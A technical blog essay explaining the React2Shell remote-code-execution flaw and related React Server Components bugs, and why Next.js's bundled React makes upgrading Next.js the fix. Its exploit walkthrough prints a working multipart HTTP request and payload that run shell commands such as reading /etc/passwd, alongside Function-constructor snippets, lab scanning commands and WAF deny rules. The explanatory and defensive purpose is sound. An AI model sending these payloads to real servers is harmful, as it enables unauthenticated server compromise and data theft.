โ ESSAY
In December 2025, an urgent security patch was announced across the React and Next.js ecosystem. A remote code execution (RCE) vulnerability with a perfect CVSS score of 10.0 had been discovered. All an attacker had to do was send a single specially crafted HTTP request, and they could run arbitrary code on the server. It was, quite literally, a worst-case vulnerability.
While reading the security advisory, I noticed something odd. The vulnerability lived in React's react-server-dom-webpack package, yet the recommended fix was to upgrade Next.js.
# It's a React vulnerability...
npm install next@15.5.9 # ...but upgrade Next.js?
Naturally, this thought came to mind.
"Wait, can't I just run
npm install react@latestthen?"
To give away the conclusion first: no, you can't. And behind that "you can't" lies an interesting (and slightly bewildering) story about how Next.js handles React.
First, let's lay out the vulnerabilities that were announced this time.
| CVE | Name | Severity | Type | Disclosed |
|---|---|---|---|---|
| CVE-2025-55182 | React2Shell | CVSS 10.0 | RCE (Remote Code Execution) | Dec 3 |
| CVE-2025-55184 | - | CVSS 7.5 | DoS (Denial of Service) | Dec 11 |
| CVE-2025-55183 | - | CVSS 5.3 | Source Code Exposure | Dec 11 |
All of them are problems that arise in the Flight Protocol of React Server Components. The affected packages are as follows.
react-server-dom-webpack (19.0.0 ~ 19.2.0)react-server-dom-parcel (19.0.0 ~ 19.2.0)react-server-dom-turbopack (19.0.0 ~ 19.2.0)The frameworks that use these packages โ Next.js, React Router, Waku, Parcel RSC, Vite RSC, and so on โ are all affected.
A perfect CVSS 10.0. It's a remote code execution (RCE) vulnerability. An attacker can run arbitrary code on the server with a single HTTP request.
The scariest part is that no authentication is required. Even an empty project you just created with create-next-app is immediately vulnerable. The developer doesn't have to write a single line of code โ the default setup alone is vulnerable.
To understand the vulnerability, you first need to know about React Server Components (RSC) and the Flight Protocol.
RSC is an architecture that renders components on the server and streams the results to the client. The protocol that exchanges data between server and client during this process is the "Flight Protocol." You can think of it as a kind of RPC (Remote Procedure Call) mechanism.
RPC (Remote Procedure Call) is a protocol that lets you call a function on a remote server as if it were a local function. It abstracts away the complexity of network communication so that developers don't have to deal with HTTP requests and responses directly.
// The usual HTTP request approach
const response = await fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({name: 'John Doe', age: 30}),
})
const user = await response.json()
// The RPC approach โ as if calling a local function
const user = await createUser({name: 'John Doe', age: 30})
The heart of RPC is serialization and deserialization.
Representative RPC protocols include gRPC, JSON-RPC, and XML-RPC. React's Flight Protocol is also a kind of RPC, but it's specialized for serializing and deserializing the React component tree.
The Flight Protocol plays two roles.
1. Server -> Client: Sending RSC render results
It streams the render result of server components (the React element tree) to the client. Rather than HTML, it sends a form that React can understand, so that the client can perform reconciliation (merge it with the existing tree).
2. Client -> Server: Server Action invocation
When the client calls a Server Function (Server Action), it serializes the function arguments and sends them to the server. The server deserializes them and executes the actual function.
This vulnerability occurred in the Client -> Server direction โ that is, during the deserialization process when a Server Action is invoked.
You can't transmit a React component tree with ordinary JSON. JSON can't represent functions, undefined, Date objects, circular references, and so on. For example:
// How would you send this over JSON?
const element = {
type: MyComponent, // a function!
props: {
onClick: handleClick, // a function!
date: new Date(), // a Date object!
},
}
JSON.stringify(element) // functions can't be serialized
The Flight Protocol is a custom serialization format that the React team created to solve this problem.
The Flight Protocol uses a simple row-based format. Each line contains one JSON blob, tagged with an ID.
M1:{"id":"./src/ClientComponent.client.js","chunks":["client1"],"name":""}
S2:"react.suspense"
J0:["$","@1",null,{"children":["$","span",null,{"children":"Hello from server"}]}]
J3:["$","ul",null,{"children":[["$","li",null,{"children":"Item 1"}]]}]
The prefix on each line carries a different meaning:
| Prefix | Meaning | Description |
|---|---|---|
M | Module | Module reference to a client component (file location, bundle chunk info) |
J | JSON | The actual React element tree |
S | Symbol | An internal React symbol (e.g., react.suspense) |
I | Value | A plain value |
F | Function | A Server Function reference |
$ PrefixThe Flight Protocol encodes values that can't be represented in JSON using the $ prefix.
// An actual Flight payload example
;['$', '@1', null, {children: ['$', 'span', null, {children: 'Hello'}]}]
| Syntax | Meaning | Example |
|---|---|---|
$ | React element | ["$", "div", null, {...}] |
@1 | Module reference (refers to line M1) | Client component |
$L1 | Lazy component | A component not yet loaded |
$1 | Chunk reference | Chunk 1, defined earlier |
$@0 | Raw chunk reference | Chunk 0, unresolved |
$B0 | Blob reference | Binary data |
The strength of the Flight Protocol is streaming. Rather than waiting for the server to finish the entire tree, it sends chunks as soon as each part is ready.
// 1. The layout arrives first
J0: ['$', 'main', null, {children: ['$L1']}] // $L1 is still loading
// 2. The Suspense fallback is shown
// 3. The content arrives later
J1: ['$', 'article', null, {children: 'Loading complete!'}]
// 4. $L1 is replaced by J1, and the screen updates
The client can read line by line and process each immediately. When it encounters a Suspense boundary, it shows the fallback, and later replaces it once the data arrives.
Internally, RSC manages data through objects called chunks. Each chunk carries a status.
// A chunk's internal structure (simplified)
const chunk = {
status: 'pending' | 'resolved_model' | 'resolved_module' | 'rejected',
value: any, // the actual data
reason: any, // error info
_response: Response, // reference to the response object
}
Because a chunk behaves like a Promise, React calls the then method to obtain its value. This is precisely where the vulnerability lives.
The Flight Protocol works in both directions.
Server -> Client (RSC Payload)
Client -> Server (Server Action)
multipart/form-data formatPOST /api HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Next-Action: abc123
------WebKitFormBoundary
Content-Disposition: form-data; name="0"
{"name": "John Doe", "age": 30}
------WebKitFormBoundary--
When the server receives this request, it deserializes it with the Flight Protocol and passes it to the Server Function. The problem is that this deserialization process didn't validate dangerous keys like __proto__.
In JavaScript, every object inherits the properties of parent objects through the prototype chain. You can access this chain via __proto__.
const obj = {}
console.log(obj.toString) // [Function: toString]
// obj has no toString of its own, but inherits it from Object.prototype
Prototype pollution is an attack that manipulates this chain to change the behavior of every object.
// A normal object
const obj = {}
console.log(obj.isAdmin) // undefined
// Prototype pollution
obj.__proto__.isAdmin = true
// Now every new object has isAdmin
const another = {}
console.log(another.isAdmin) // true
The problem arose in the Flight Protocol's deserialization code. It used keys sent by the client as object properties without validation.
// Before the patch (vulnerable code)
return moduleExports[metadata[NAME]]
// After the patch (fixed code)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]]
}
Because there was no hasOwnProperty check, an attacker who put "__proto__" into metadata[NAME] could reach into the prototype chain.
Prototype pollution alone doesn't execute code. Attackers chained it into reaching the Function constructor.
In JavaScript, the Function constructor can create a function from a string.
const fn = new Function('return 1 + 1')
fn() // 2
At a glance this looks harmless, but it's effectively the same as eval. Let's look at why.
// eval: executes a string as code
eval('console.log("hello")') // "hello"
// Function: builds a function from a string and executes it
new Function('console.log("hello")')() // "hello"
// Both can execute arbitrary code
eval('1 + 2') // 3
new Function('return 1 + 2')() // 3
The difference is that eval executes in the current scope while Function executes in the global scope. But from a security standpoint, both are equally dangerous in that they enable arbitrary code execution.
// Running a system command with eval
eval('process.mainModule.require("child_process").execSync("id").toString()')
// Running a system command with Function โ behaves the same
new Function(
'return process.mainModule.require("child_process").execSync("id").toString()',
)()
eval is widely known to be dangerous, so it's blocked by CSP (Content Security Policy) or flagged by linters. But the Function constructor is relatively less known, so defenses against it are often lax.
From the attacker's perspective, if they can just get access to the Function constructor, they can run whatever code they want on the server.
const evil = new Function(
'process.mainModule.require("child_process").execSync("cat /etc/passwd")',
)
evil() // stealing the contents of the server's /etc/passwd file
The question is how you get access to the Function constructor. Calling Function directly is of course blocked. But you can get around it through the prototype chain.
// Any object can reach the constructor that created it via constructor
const obj = {}
obj.constructor // [Function: Object]
// Object's constructor is Function
obj.constructor.constructor // [Function: Function]
// It's also reachable through the prototype chain
obj.__proto__.constructor.constructor // [Function: Function]
The attacker combined this chain with the Flight Protocol's special syntax.
Let's analyze the exploit chain based on the msanft/CVE-2025-55182 PoC.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
The $1:__proto__:constructor:constructor syntax means "access __proto__.constructor.constructor of chunk 1" in the Flight Protocol. Doing this yields the Function constructor.
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
In JavaScript, an object with a then property is treated as a "thenable." That means you can call .then() on it like a Promise. If you set then to the Function constructor here, then later when .then(code) is called on this object, Function(code) gets executed.
The Flight Protocol processes data in chunk units. Each chunk carries a status.
// Chunk statuses
const PENDING = 'pending'
const RESOLVED_MODEL = 'resolved_model'
const RESOLVED_MODULE = 'resolved_module'
// ...
The attacker uses the $@ syntax (raw chunk reference) to directly manipulate a chunk's internal state.
crafted_chunk = {
"then": "$1:__proto__:then", # set then to Function
"status": "resolved_model", # force status to resolved
"reason": -1,
"value": '{"then": "$B0"}', # Blob reference
"_response": {
"_prefix": "/* code to execute */",
"_formData": {"get": "$1:constructor:constructor"}
}
}
When the initializeModelChunk function is called, the crafted chunk's then is set to the Function constructor, and the code in the _prefix field is executed.
// The actual payload that goes into the _prefix field
var res = process.mainModule
.require('child_process')
.execSync('id', {timeout: 5000})
.toString()
.trim()
throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`})
This code:
child_process moduleid commanddigest field and throws itChecking the digest field of the error response reveals the command's execution result.
POST / HTTP/1.1
Host: vulnerable-app.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('cat /etc/passwd')","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary
Content-Disposition: form-data; name="1"
$@0
------WebKitFormBoundary--
All you need is the Next-Action header. There doesn't even have to be an actual Server Action defined. The attack already succeeds during the Flight Protocol deserialization process.
In a typical web application, the request handling flow looks like this.
But the Flight Protocol's deserialization happens before the authentication check.
The attack executes before it ever reaches the authentication layer. This is one of the reasons this vulnerability received a CVSS 10.0.
This vulnerability is already being exploited in the wild. Wiz Research, Amazon Threat Intelligence, Datadog, Palo Alto Unit 42, and others have observed attacks.
Observed attack types:
.env filesIn particular, activity has reportedly been observed from an APT group named CL-STA-1015, believed to be linked to the Chinese government. They are known to install the SNOWLIGHT and VShell trojans.
Just a few days after the React2Shell (CVE-2025-55182) vulnerability was disclosed, another vulnerability was found in the same Flight Protocol. This time it isn't an RCE, but a DoS vulnerability that can bring down an entire service.
CVSS 7.5. It isn't as severe as the RCE, but it's a vulnerability that can paralyze an entire service.
A maliciously crafted HTTP request triggers an infinite loop during the Flight Protocol deserialization process.
Because Node.js is single-threaded, once an infinite loop occurs it can no longer process other requests. As a result, the server comes to a complete halt.
The first patch that was released was incomplete. It missed some cases, and a patch that fixed those was re-released as CVE-2025-67779. So you need to upgrade again to the latest patched version.
You can see the fix in PR #35351.
// Before the patch
while (chunk.status === 'pending') {
const inspectedValue = chunk.value
if (inspectedValue === chunk) {
// only checks self-reference
break
}
// ...
}
// After the patch
let cycleProtection = 0
while (chunk.status === 'pending') {
cycleProtection++
const inspectedValue = chunk.value
if (inspectedValue === chunk || cycleProtection > 1000) {
break
}
// ...
}
The original code only checked for the self-referencing case with inspectedValue === chunk. It can catch a direct cycle like A -> A, but not an indirect cycle like A -> B -> A. So a counter was added to force a break once it exceeds 1000 iterations.
To detect circular references perfectly you'd have to track visited nodes in a Set, which carries a performance overhead. The 1000-iteration limit is a number that normal usage will never reach, so it's a simple yet reliable approach.
CVSS 5.3. A Server Function's source code can be included in the response and exposed.
When an attacker sends a crafted HTTP request, a Server Function stringifies another Server Function's source code and includes it in the response.
// The original Server Function
'use server'
export async function serverFunction(name) {
// a secret hardcoded in the source code
const conn = db.createConnection('SECRET_API_KEY')
// using a string template
return {
id: user.id,
message: `Hello, ${name}!`, // this is the problem
}
}
When the ${name} part gets stringified, if the value passed in is a function, that function's source code is converted into a string.
// The attack response
{
"id": "tva1sfodwq",
"message": "Hello, async function(a){
console.log(\"serverFunction\");
let b=i.createConnection(\"SECRET_API_KEY\");
return{id:(await b.createUser(a)).id,message:`Hello, ${a}!`}
}!"
}
| Information Type | Exposed? |
|---|---|
| API keys and passwords hardcoded in source code | Exposed ๐จ |
| A Server Function's business logic | Exposed |
| Inlined constant values | Exposed |
process.env.SECRET environment variables | Safe โ |
| Values injected at runtime | Safe โ |
Values that use environment variables are not exposed. Because environment variables are evaluated at runtime, only the variable reference remains in the compiled source code.
// A safe pattern
const conn = db.createConnection(process.env.DATABASE_URL)
// After compilation: process.env.DATABASE_URL (the value itself is not exposed)
// A dangerous pattern
const conn = db.createConnection('postgresql://user:password@localhost/db')
// After compilation: 'postgresql://user:password@localhost/db' (exposed as-is)
This vulnerability only affects Next.js 15.0 and above. It doesn't occur in 14.x.
| Next.js Version | DoS (CVE-2025-55184) | Source Exposure (CVE-2025-55183) |
|---|---|---|
| 13.3 ~ 14.x | Vulnerable | Safe |
| 15.0 and above | Vulnerable | Vulnerable |
If you want to check it yourself, you can spin up a vulnerable environment with Docker from the l4rm4nd/CVE-2025-55182 repository.
# Run the vulnerable Next.js app
docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
# Check the vulnerability with the AssetNote scanner
python3 scanner.py -u http://127.0.0.1:3000
# [VULNERABLE] Status: 303
# Check with a Nuclei template
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Seeing the commands actually execute is genuinely chilling. Never test this on an environment exposed to the internet.
Now let's return to the key question. It's a React vulnerability, so why do you have to upgrade Next.js?
When the App Router was introduced in Next.js 13, Next.js began handling React in a special way.
packages/next/src/compiled/
โโโ react/
โโโ react-dom/
โโโ react-server-dom-webpack/ <- the vulnerable package
โโโ react-server-dom-turbopack/
โโโ react-server-dom-parcel/
Rather than pulling packages like react-server-dom-webpack from npm, Next.js bundles them itself and includes them in the dist/compiled/ directory. And when you use the App Router, this internal version is used.
// Next.js webpack config (webpack-config.ts)
// https://github.com/vercel/next.js/blob/b17b31f16eb0a761ecdc0b821234d3cbe24f499f/packages/next/src/build/webpack-config.ts#L127-L135
browserNonTranspileModules: [
/[\/]next[\/]dist[\/]compiled[\/](react|react-dom|react-server-dom-webpack)/,
]
In other words, no matter which React version you install in package.json, the App Router uses the React that Next.js bundled.
The interesting part is that the Pages Router and App Router use different React versions.
| Router | React Version |
|---|---|
| Pages Router | The version installed in package.json |
| App Router | The React Canary bundled inside Next.js |
If you use both routers in the same project, you may actually be running different React versions.
It's the React team's official recommendation. React Server Components were used in Next.js before React 19 was officially released. To make this possible, the React team created a "Canary" channel and recommended that frameworks bundle and use it.
"React Server Components are ready to be adopted by frameworks. However, until the next major React release, the only way for a framework to adopt them is to ship a pinned Canary version of React." โ React Canaries blog
The advantages of this approach are clear.
But this security incident revealed the hidden trap in this structure.
npm audit doesn't tell you it's a React vulnerability$ npm audit
# Shown only as a Next.js vulnerability
# There's no way to tell the problem is in React code
npm audit does detect the vulnerability. But it only shows up as a vulnerability in the Next.js package โ it doesn't tell you the actual problematic code is React's Flight Protocol. That's because Next.js bundles React internally.
"Both Vite and Next.js simply bundle their dependencies directly in the package instead of relying on the npm node_modules mechanism."
package.json is ignoredThis is a problem a developer found in GitHub Issue #86930.
{
"dependencies": {
"react": "19.1.2" // I installed a safe version, but...
}
}
Checking with React DevTools:
The developer thinks "I'm using a safe version," but in reality a vulnerable canary version is being used.
npm install react@latest doesn't take effectnpm install react@19.2.1 react-dom@19.2.1
# The App Router still uses the Next.js internal bundle -> the vulnerability remains
Even if you update React to the latest version, what the App Router uses is the version bundled inside Next.js. The external React version is completely ignored.
overrides/resolutions have no effect eitherWith npm's overrides or yarn's resolutions, you can force a dependency version. But this doesn't help either.
// Even this doesn't work
{
"overrides": {
"react": "19.2.1"
}
}
Next.js doesn't go through npm's dependency resolution โ it directly imports pre-compiled files. There's no room for overrides to intervene.
You specified React 18 in package.json, so you installed a library that only supports React 18. But in the App Router, React 19 canary is running.
{
"dependencies": {
"react": "18.2.0",
"some-library": "^1.0.0" // peerDependencies: react ^18.0.0
}
}
Problems that can arise in this situation:
peerDependencies warning appears (because it's correct according to package.json), yet it's actually incompatibleIf something works fine in the Pages Router but behaves strangely only in the App Router, you should suspect this version mismatch.
| Tool | Detection Method |
|---|---|
npm audit | Detected only as a Next.js CVE |
yarn audit | Detected only as a Next.js CVE |
| Snyk, Dependabot | Detected only as a Next.js CVE |
npx fix-react2shell-next | Detectable with the official Vercel tool |
Existing security tools do detect the vulnerability, but it's shown only as a Next.js vulnerability. There's no way to tell that the problem is in React code.
This is the only solution. You need to upgrade to the patched version that matches your Next.js version.
# Choose the one that matches your Next.js version
npm install next@14.2.35 # 14.x
npm install next@15.0.7 # 15.0.x
npm install next@15.1.11 # 15.1.x
npm install next@15.2.8 # 15.2.x
npm install next@15.3.8 # 15.3.x
npm install next@15.4.10 # 15.4.x
npm install next@15.5.9 # 15.5.x
npm install next@16.0.10 # 16.0.x
You can also use the automatic patching tool provided by Vercel.
npx fix-react2shell-next
This tool detects your current Next.js version and upgrades you to the appropriate patched version.
If your server was exposed to the internet in an unpatched state before December 4, you need to rotate all of your secrets. There's a chance you've already been attacked.
There are a few lessons to take away from this incident.
Not just Next.js โ many frameworks like Vite and Remix bundle dependencies internally. You shouldn't conclude "our app is safe" from package.json alone.
npm audit results properlynpm audit detects vulnerabilities, but for bundled dependencies it doesn't tell you exactly where the actual problem lies. If a Next.js CVE shows up, you should check the advisory to see whether it's a problem in Next.js's own code or in the bundled React.
If you were only watching React's security advisories, you could have missed this vulnerability. If you use Next.js, you should subscribe to Next.js security advisories as well.
This vulnerability was exploitable without authentication. Had there been an additional defense layer such as a WAF (Web Application Firewall), the damage could have been reduced.
# Example WAF rule: block requests containing __proto__
SecRule REQUEST_BODY "__proto__" "id:1001,deny,status:403"
SecRule REQUEST_BODY "constructor:constructor" "id:1002,deny,status:403"
Of course, this is only a stopgap โ the fundamental fix is to patch.
Honestly, going through this incident left me a little bitter. Next.js bundling a React canary was a reasonable choice made to deliver new features quickly. But in the process, it became hard for developers to know which version of the code is actually running in their app.
I already knew that react: "19.1.2" might be written in package.json while a different version was actually running. But I hadn't realized this could turn into a security problem. Even when npm audit detects the vulnerability, it's shown only as a Next.js problem, which makes it hard to recognize that the issue is in React code. From a developer experience (DX) standpoint, this is clearly a problem.
Of course, this isn't a problem unique to Next.js. As the entire modern frontend ecosystem goes through complex bundling and compilation, it's getting harder and harder to grasp "what's actually inside my app." This incident feels like a reminder of that problem once more.
For now, let's patch. And later, when there's time, it might be worth taking a look at what the frameworks we use are doing internally.